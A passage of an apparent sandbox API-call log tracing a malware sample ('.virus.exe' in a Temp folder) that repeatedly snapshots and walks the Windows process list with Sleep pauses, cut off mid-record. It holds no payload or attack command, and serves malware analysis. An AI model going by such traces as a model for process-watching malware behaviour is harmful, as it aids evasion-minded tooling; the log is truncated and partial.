szExeFile="winlogon.exe")) returned 1 [0178.679] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0178.679] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0178.680] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0178.680] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.681] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.682] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.682] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.683] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.683] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0178.683] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.684] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.685] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0178.685] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0178.686] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0178.686] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0178.687] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0178.688] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.688] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0178.689] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0178.689] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0178.690] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0178.690] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0178.691] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0178.691] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0178.692] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0178.692] CloseHandle (hObject=0x1e8) returned 1 [0178.693] Sleep (dwMilliseconds=0x1f4) [0180.444] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e8 [0180.447] Process32FirstW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0180.448] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0180.449] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0180.450] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0180.450] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0180.451] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0180.452] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0180.453] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0180.453] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0180.454] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0180.455] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.457] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.458] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.458] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.459] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.460] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0180.461] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.461] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.462] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0180.463] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0180.464] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0180.464] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0180.465] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0180.466] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.467] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0180.468] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0180.469] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0180.469] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0180.470] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0180.471] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0180.680] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0180.680] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0180.681] CloseHandle (hObject=0x1e8) returned 1 [0180.681] Sleep (dwMilliseconds=0x1f4) [0181.323] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ec [0181.327] Process32FirstW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0181.328] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0181.328] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0181.328] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0181.329] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0181.329] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0181.330] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0181.330] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0181.330] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0181.331] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0181.331] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.332] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.332] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.332] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.333] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.333] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0181.334] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.334] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.334] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0181.335] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0181.335] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0181.335] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0181.336] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0181.336] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.336] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, 